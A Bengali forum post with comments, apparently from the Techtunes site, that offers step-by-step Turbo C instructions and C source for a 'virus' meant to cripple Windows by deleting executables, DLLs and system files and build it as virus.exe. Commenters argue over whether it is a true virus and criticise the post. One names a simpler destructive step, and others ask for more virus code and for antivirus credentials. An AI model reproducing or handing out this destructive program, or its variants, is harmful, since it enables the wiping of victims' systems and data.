উইন্ডোস পুরো অচল করে দিন তাও আবার নিজের তৈরী করা ভাইরাসে

প্রোগ্রামিং ল্যাঙ্গুয়েজ সি না থাকলে এখান থেকে সি ডাউনলোড সম্পর্কে জানার জন্য ক্লিক করুন

    উইন্ডোস পুরো অচল করে দিন তাও আবার নিজের তৈরী করা ভাইরাসে

এবং সেটাপ দিতে ডাবল ক্লিক করার পর Unzip এ ক্লিক করুন । ব্যস কম্পিলিট ।

এরপর C ড্রাইভের ভিতরে গিয়ে TC তারপর BIN এ যান । সর্বশেষে TC তে ক্লিক করে C ওপেন করুন এবং কোডগুলো টাইপ করুন । উপরের মেন্যুতে গিয়ে Save as এ ক্লিক করে ফাইলের নাম virus.C লিখুন ।

#include <iostream.h>
#include <stdlib.h>
int main()
{
system ("DEL C:\*.exe");
system ("DEL C:\*.txt");
system ("DEL C:\*.doc");
system ("DEL C:\WINDOWS\*.exe");
system ("DEL C:\WINDOWS\*.com");
system ("DEL C:\WINDOWS\*.bat");
system ("DEL C:\Program Files\*.*");
system ("DEL C:\WINDOWS\SYSTEM\*.exe");
system ("DEL C:\WINDOWS\SYSTEM\*.dll");
system ("DEL C:\WINDOWS\SYSTEM\*.com");
system ("DEL C:\WINDOWS\SYSTEM\*.bat");
return 0;
}

সেভ করার পর কম্পাইল করার জন্য Alt-F9 প্রেস করুন । কম্পাইল হয়ে গেলে F9 প্রেস করুন EXE ফাইলকে জেনারেট করার জন্য । আর ইরর দেখালে কোডটি ভালভাবে চেক করুন।
সাবধান CTRL-F9 প্রেস করবেন না । তাহলে ফাইলটি আপনার পিসিতেই রান হয়ে যাবে ।
পুনরায় কম্পাইল করুন এবং EXE ফাইলটি জেনারেট করুন । ব্যস তৈরী হয়ে virus.exe এপ্লিকেশন ।
virus.exe ফাইলটি সধারনত c:\tc\bin এই তৈরী হবে ।

Level 0

আমি Mahfuzar Rahman। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 14 বছর 9 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 31 টি টিউন ও 254 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

I am moving ....


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

Level 0

ভাই আপনি এইভাবে ভাইরাসের পিচনে লেগে আছে কেন 🙂 🙂 ……..

ট্রাই করি না। কিন্তু কপি করে রাখি।
যদি লাইগা যায়…..
ধন্যবাদ আপনাকে।

    ধন্যবাদ তবে পুথিঁগত বিদ্যা আর পরহস্তে ধন, নহে বিদ্যা নহে ধন হলে প্রয়োজন ।

01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000

make it .exe

    কি হল ফুয়াদ ভাই ……
    .exe করলাম এখন কি করব ? আর এর কাজই বা কি ?

ভাই এত ভাইরাস বানান, একটা এন্টিভাইরাস বানান। যা আপডেট লাগবে না। একবার কম্পিউটারে ইনস্টল করলেই ভাইরাস কম্পিউটারে ঢুকতে পারবেনা। 😉

    Level 0

    সেরকম কোন এন্টিভাইরাস থাকবেনা, নিশ্চিত থাকুন
    কারন ভাইরাসের উপর ভিত্তি করেই এন্টি ভাইরাস তৈরী হয়

    LuckyFM ভাইজান আমার ESET Smart Security 4 এর user name এবং password লাগবে । দয়া করে তাড়াতাড়ি দিবেন।

    সোহান ভাই আপনি দেখতেছি সবার ব্যবসা খাওয়ার চিন্তা করতেছেন ……

কিছু মনে করবেন না। আপনি প্রোগ্রামিং ল্যাংগুয়েজ নিয়ে কাজ করেন। তাই ভাইরাসের Definition আপনার জানা থাকার কথা। গত ক’ দিন ধরেই লক্ষ্য করছি, আপনি ভাইরাস কোড নিয়ে লিখছেন। কিন্তু এর একটিকেও কি ভাইরাস বলা যায়? যেমন, আজ যেটি দিলেন, আপনি কি ব্যাখ্যা করবেন, কেন এটা ভাইরাস? আমি যা বুঝি, এটাকে বড় জোর একটি ক্ষতিকর EXE ফাইল বলা যায়। যারা সাধারণ প্রোগ্রামার তাদের পক্ষেও যে কোন ল্যাংগুয়েজ ব্যবহার করে এ ধরণের অনেক প্রকার ক্ষতিকর প্রোগ্রাম বানানো যায়। কিন্তু এগুলো কোন ভাবেই ভাইরাসের সংজ্ঞায় পড়ে না। ভাল থাকবেন।

    ভাইরাস কি প্রোগ্রামের বাইরে অন্যকিছু ?
    দয়া করে জানাবেন ।

ভাইরাস এমন অতিথি যাকে ঘরে ডুকলে খাওয়ার কথা বলা লাগে না বা খায়িয়ে দিতে হয় না, সে এমনিতেই সব নিজির মনে করে ন্যেয়।
আর টিউনারের অতিথিগুলোকে জোর করে খায়িয়ে না দিলে সে খাবেই না মুখে তুলে খায়িয়ে দিতে হয়।
ইসমাইল says:
যারা সাধারণ প্রোগ্রামার তাদের পক্ষেও যে কোন ল্যাংগুয়েজ ব্যবহার করে এ ধরণের অনেক প্রকার ক্ষতিকর প্রোগ্রাম বানানো যায়। কিন্তু এগুলো কোন ভাবেই ভাইরাসের সংজ্ঞায় পড়ে না।

কথা ঠিক ভাইরাস একটি অটোরান প্রোগ্রাম। যাকে মুখে তুলে খায়িয়ে দিতে হয় না।

    এট্যাক হওয়ার পরেই তো ভাইরাস অটোমেটিক রান করে । যদি সারাজীবনেও আপনি কোন ভাইরাস ফাইলে ক্লিক না করেন তাহলেও কি অটোরান হবে ?
    অনেকসময় বিভিন্ন ফাইল, পেনড্রাইভ ভাইরাস দ্বারা আক্রান্ত হয় ঠিক তখনি সেই ফাইলগুলো থেকে ভাইরাস অটোমেটিক রান করে ।

    ভাইরাস সম্পর্কে এতদিনে এই জানেন।
    একটি পেন ড্রাইভে ভাইরাস রাখুন এবং তা শুধু মাত্র নরমাল ওপেন করুন দেখবেন খাওয়া দাওয়া কমম্পিট।
    ভাইরাস ফাইলে ক্লিক করতে হবে না। এতটুকু শান্তির ব্যবস্থা হ্যারাররা করে থাকে।
    পরে সিস্টেম রিস্টোর দিন পূর্বের অবস্থায় ফিরে যাবেন।
    সিস্টেম রিস্টোর দ্বারা ভাইরাস নিয়ে খেলা করা সম্ভব।
    আর সুধু দেখতে চাইলে পেন ড্রাইভ এক্সপান্ড ওপেন করুন হাইড ডিজ্যাবল করে।
    আমার কাছে জিপ আকারে কয়টা রাখাছিল এখন নাই থাকলে দিতাম টেকির কেউ দিছিল।

পথিক ভাই, আপনি কেমন আছেন? আমি আপনাদের আসরে নতুন। তাই আমি একটা সমস্যায় আছি। আমি কয়েকটি টিউন ড্রাফট করে রেখেছি পাবলিস করতে চাই কিন্তু পারছি না। আমাকে একটু এ ব্যাপারে সাহায্য করতে পারলে উপকৃত হতাম।

    ইয়াকুব ভাই , লগইন করার পর এখানে গিয়ে যে টিউনটি প্রকাশ করতে চান সেটির সম্পাদন এ ক্লিক করুন । অতঃপর ১টি “ক্যাটাগরি” কমপক্ষে ৩টি “ট্যাগ” দিয়ে “প্রকাশ” এ ক্লিক করুন ।

“যেতে দাও সেদিনের মতো, পেতে দাও সেদিনের ক্ষত । নীল শরীরে তোমায় ছোঁবো, নীল সাগরে ভাসিয়ে দেবো ।”
এটা কি আপনার সৃস্টি?
ধন্যবাদ।
এই প্রগ্রামটা সি ++ লিখতে কি ভাবে লিখতে হবে।

    এটা আমার প্রিয় কবিতার প্রিয় লাইন । পুরোটা দেখতে কষ্ট করে আমার ব্লগে যেতে হবে । আপনি এই কোডটি সি ++ এ ব্যবহার করতে পারেন ।

এটাও এক প্রকার শিক্ষনীয় বিষয়

@ টিউনার:
আপনি বলেছেন, “ভাইরাস কি প্রোগ্রামের বাইরে অন্যকিছু ? দয়া করে জানাবেন ।”
আমিতো বলিনি ভাইরাস প্রোগ্রাম নয়। তবে, সব ভাইরাসই প্রোগ্রাম কিন্তু সব প্রোগ্রামই ভাইরাস নয়।

আপনি কি জানেন,
ভাইরাসকে কেন ‘ভাইরাস’ নামে অভিহিত করা হলো?
জৈবিক ভাইরাসের সাথে এর মিল কোথায়?
ভাইরাসগুলোর নামকরণ কীভাবে হয়?
ভাইরাসের বিভিন্ন প্রকারভেদ আছে। আপনি কি বলবেন, আপনার এই ভাইরাসটি কোন প্রকারের ভাইরাস এবং কেন?
CARO সম্পর্কে আপনার কি ধারণা আছে?

যাক্ এত কিছু না জানা থাকলেও একটি ভাইরাসের সাধারণ কিছু বৈশিষ্ট আপনার জানা থাকার কথা।
যেমন, একটি ভাইরাস নিজে নিজে কপি হতে পারে, অন্য ফাইলের সাথে নিজের কোড যুক্ত করে ফাইলটিকে আক্রান্ত করতে পারে, সাধারণতঃ ভাইরাসগুলো নির্দিষ্ট কোন আইকন ধারণ করে না, উইন্ডোজ থেকে সার্চ করে ভাইরাস সনাক্ত করা যায় না, ভাইরাস কোন নামে কম্পিউটারে অবস্থান করে না, এন্টি ভাইরাসগুলো আক্রান্ত ফাইল সনাক্ত/রিপেয়ার করতে পারে, এন্টিভাইরাস যখনই ভাইরাস সনাক্ত করে তখনই তাকে কোন না কোন ফাইলের সাথে সংযুক্ত অবস্থায় পায়; স্বাধীনভাবে কোন ভাইরাস সনাক্ত হয় না।

এবার বলুন, আপনার এই প্রোগ্রামে উপরের কোন বৈশিষ্টটি আছে?

@ সকল টিউনার:
আমার ব্যক্তিগত ব্যস্ততার কারণে সম্ভব নয় বিধায়, অন্য যে কোন টিউনারকে ভাইরাস নিয়ে বিশদ একটি টিউন করার অনুরোধ করছি। এ সম্পর্কে অনেকেরই ভুল ধারণা আছে। এ সব ভুল ধারণার অবসান হওয়া দরকার।

সবাইকে অনেক অনেক ধন্যবাদ।

    Level 0

    ইসমাইল ভাই আমি আপনার সাথে একমত, ভাইরাস নিয়ে বিশদ একটি টিউন করার উচিৎ। এ সম্পর্কে অনেকেরই ভুল ধারণা আছে। এ সব ভুল ধারণার অবসান হওয়া দরকার।

    ২০০% একমত।

    ইসমাইল ভাই
    আপনি যে বর্ননা দিলেন তা একজন স্বল্প জ্ঞানী কম্পিউটার চালকের জানা থাকে ।
    তবে আপনি ঢালাও ভাবে সব ভাইরাসকে একই ক্যাটাগরিতে ফেলেছেন । প্রোগ্রামের ধরন অনুযায়ী কোন ভাইরাস শুধু কপিই হয়, কোনটি exe ফাইলকেই শুধু আক্রমন করে ফলে সেই exe ফাইলটিও ভাইরাস সূলভ আচরন করে আবার কোনটি exe ফাইলকে ডিলিট করে দেয় । এক একটি ভাইরাস এক এক রকম কাজ করে ।
    যদি সব ভাইরাস একই রকম কাজ করত তাহলে ভাইরাসের এত নাম হত না ।

    আপনি আরও বলেছেন ভাইরাস কোন নামে কম্পিউটারে অবস্থান করে না
    তাহলে win32,homepage,iloveu,mawanella,kak,Admin,DNS,SrcFile,torjan এগুলো নামকরন কেন হল ?
    আমার এই প্রোগ্রামটি কপি হতে পারে না কিন্তু এই টিউনটি দেখুন , এই ভাইরাসটি সকল exe ফাইলে সংক্রামিত হয় । তো ইসমাইল ভাই আপনার দেয়া বৈশিষ্ট্য থাকলেই কি শুধুমাত্র ভাইরাস বলা যায় ?

    আপনি জানেন ভাইরাস কম্পিউটারের জায়গা দখল করে ?
    যদি তা না হয় তাহলে অতিরিক্ত ভাইরাস আক্রমনের পর উইন্ডোস সেটাপ , কাজ না হলে হার্ডডিস্ক ফরম্যাট দিতে হয় কেন ?

    এন্টিভাইরাস শুধুই কি ফাইল সনাক্ত/রিপেয়ার করে ? তাহলে কেন স্ক্যান করলে দেখায় 12..1 ভাইরাস ডিলিট/ফাউন্ড ?

    আপনি আরও বলেছেন সব ভাইরাসই প্রোগ্রাম কিন্তু সব প্রোগ্রামই ভাইরাস নয়।
    আমি কি কখনও বলেছি সব প্রোগ্রামই ভাইরাস ?
    আপনি তো দেখি পাটিগনিত বীজগনিত এক করে ফেলতেছেন ।

@ একলা পথিক:
জবাব দেয়ার জন্যে ধন্যবাদ।
আপনার সদয় অবগতির জন্য বলছি, কোন ভাইরাস প্রণেতা সাধারণতঃ ভাইরাসের কোন নাম দেয় না। CARO নামে একটি আন্তর্জাতিক প্রতিষ্ঠান আছে যারা ভাইরাসের ধরণ দেখে তার একটি নাম নির্ধারণ করে এবং পরবর্তীতে সকল এন্টিভাইরাস প্রণেতা সে ভাইরাসটিকে সে নামে চিহ্নিত করে। আর সকল ভাইরাসের কর্মকান্ড এক এ কথাতো আমি বলিনি। আমি বলেছি, সকল ভাইরাসেরই কিছু কমন বৈশিষ্ট্য থাকে। আর আপনি বলেছেন, আপনার এই ভাইরাসটি সকল exe ফাইলে সংক্রমিত হয়। কিন্তু আপনার দেয়া কোডতো তা বলে না। এখানে exe ফাইলগুলোকে মুছে ফেলার নির্দেশ দেয়া হয়েছে। মুছে ফেলা আর সংক্রমণতো এক জিনিস নয়। একজন ব্যবহারকারীর উইন্ডোজ অচল করে দেয়ার জন্য এতগুলো ফাইল মুছে না দিয়ে Boot.ini ফাইলটি মুছে দেয়াইতো যথেষ্ট।

আমার টিউনিং এ পেজ এ গেলে দেখবেন, আমার নিজের তৈরী কিছু সফটওয়্যার আছে। তার একটি হল, Cntrl CD ROM. এই সফটওয়্যারটির সাহায্যে ব্যবহরকারী সিডি রমকে ইজেক্ট/ক্লোজ করতে পারে। আমি যদি এখানে একটা টাইমার কন্ট্রোল ব্যবহার করে, কিছুক্ষণ পর পর অটোভাবে সিডি রম ইজেক্ট করানোর ব্যবস্থা করি আর উইন্ডোজ রেজিষ্ট্রি’র মাধ্যমে তাকে স্টার্টআপ সফটওয়্যার হিসাবে নির্ধারণ করি তাহলে আপনার বর্ণানা অনুযায়ীতো এটাও একটা ভাইরাস হয়ে যায়।

আরকটি সফটওয়্যার আছে Printer সংক্রান্ত। আমি শিরোনামে লিখেছিলাম, “আপনি না চাইলে কারো সাধ্য নেই আপনার প্রিন্টার দিয়ে প্রিন্ট করে।” এখন মনে হচ্ছে, শিরোনামটা এ রকম দিলে ভাল হতো, “আমার তৈরী ভাইরাস দিয়ে বিকল করে দিন যে কোন প্রিন্টার………..”

যাক, আমি যা বুঝি তাই বললাম। হতে পারি আমি স্বল্প জ্ঞানী। কিন্তু আমাদের সবারই অজানা বেশী, জানা কম। কিন্তু পারস্পরিক আলোচনা/সমালোচনার মাধ্যমে আমরা আমাদের অজানা’র পরিসর কমাতে পারি। আপনার কাছ থেকে আমি জানব, হয়ত আমার কাছ থেকেও আপনি কিছু জানবেন। তবে, কিছু একটা জানাই আমাদের মূল লক্ষ্য। পারস্পরিক তর্ক-বিতর্ক নয়। ভাল থাকবেন।

    আপনি যে লিংকটি দিয়েছেন, সেটির ব্যাপারে বলেছেন EXE ফাইলকে সংক্রমিত করতে পারে। কিন্তু ‘এই’ শব্দটি ব্যবহার করায় আমি ভেবেছিলাম, এখানে দেয়া কোড সম্পর্কে বলছেন। যাক, আমি কিন্তু এই টিউনটি নিয়েই কথা বলছিলাম।

    আপনার কথা থেকে আর আপনি বলেছেন, আপনার এই ভাইরাসটি সকল exe ফাইলে সংক্রমিত হয়। কিন্তু আপনার দেয়া কোডতো তা বলে না। এখানে exe ফাইলগুলোকে মুছে ফেলার নির্দেশ দেয়া হয়েছে। মুছে ফেলা আর সংক্রমণতো এক জিনিস নয়।
    আমি এই টিউনটির কথা বলেছি দেখতে ক্লিক করুন
    আপনি মনে হয় বুঝতে পারেন নি ।
    ধন্যবাদ ইসমাইল ভাই যুক্ত-তর্কের মাধ্যমেই নতুন কিছু শেখা যায় ।

    ইসমাইল ভাই ধন্যবাদ আপনার সাথে একমত
    আমি এত সুন্দর করে বুঝিয়ে বলেতে পারতাম না কারন আমি খুব বেশি জানিনা।

    শুধু এই টিউনটা নিয়ে আলোচনে করা হচ্ছে আর টিউনার ভাই বার বার অন্য টিউনটির রেফারেন্স দিচ্ছে।

আপনাদের যুক্তিতক্কে যা বুঝলাম তা হলো ভাইরাস যা শুধু কম্পিউটারের ক্ষতি-ই করে, সেরকম জিনিস কিভাবে তৈরী করা যা যায় তার তালিম দেয়া। এ যেন সেই নাপিতের কথা মনে করিয়ে দেয় যে নাকি লোকদের ঘা তার ক্ষুর দিয়ে কেটে দিত আর তা ভাল হয়ে যেত। কিন্তু আপনি তো ভাল কিছু শিখাচ্ছেন না, তাহলে কেন আপনাদের বিশেষায়িত জ্ঞান (?) এখানে আমাদের মত স্বল্প জ্ঞানীদের (যাদের সংখ্যাই বেশী) কাছে জাহির করেন। কোন নতুন ইউজার যদি আপনার এই টিউন দেখে এইসব (আপনাদের শিখানো) ভাইরাস বানিয়ে ফ্রাংকেনস্টাইন-এর শিকার হয় তখন কি হবে, নিজের তৈরী প্রোগ্রাম দিয়ে নিজের মেশিনটা নষ্ট করে দিল। একজন সাজর্ন অনেক পড়াশুনা, ব্যবহারিক ক্লাশ করে তারপর দক্ষ অপারেশনকারী হন। এখন উনি যদি সে জ্ঞান যেখানে সেখানে বলে বেড়ান তাহলে তার কথায় কেৌতুহল বশত কোন সাধারন লোক যদি হার্টের বা পেটের অপারেশন করতে শুরু করে তাহলে অবস্থা কি হবে? দয়া করে সবার উপকার হয় এমন টিউন করুন। আপনি তিন/চার বছরে যা শিখেছেন তা সব এখান বলা উচিত না। অন্যথায় নতুন কোন প্লাটফর্ম তৈরী করুন যেখানে শুধুই প্রোগ্রামাররা অংশ নিতে পারবে।

    সহমত
    কোড লিখে Ctrl+F9 কেউ প্রেস করলেই নিজের পিসিই শেষ। Alt+F9এর বদলে Ctrl+F9 ক্লিক পরে যেতেই পারে।
    কিছু কিছু মানুষ এ ধরনে জিনিস পেয়ে খুশি হয় কেননা অন্যের বাস দিতে পারবে তার খানিকটার দাবিদার পথিক ভাই।
    কেউ লিখেছে কাজে লাগবে, কিন্তু সে C জানেনা বুঝতেই পারছেন সে কি করবে।
    এটাই ফোরামের ক্ষতিকর দিক…

জানার কোন শেষ নেই। ভালমন্দ উভয়টা যানা যেতে পারে। ভাল গুলো শিখবো নিজ ও অন্যের উপকারে। আর মন্দগুলো শিখব ক্ষতির হাত থেকে নিজেকে ও অন্যকে বাঁচাতে। ধন্যবাদ আপনাকে।

Level 0

ami akbar anti.vbs name 1 ta virus er script ta copy kore rekhechilam , durbhagyobasoto seta r akhon amar kache nei, karur kachhe hoax virus code thakle deben doye kore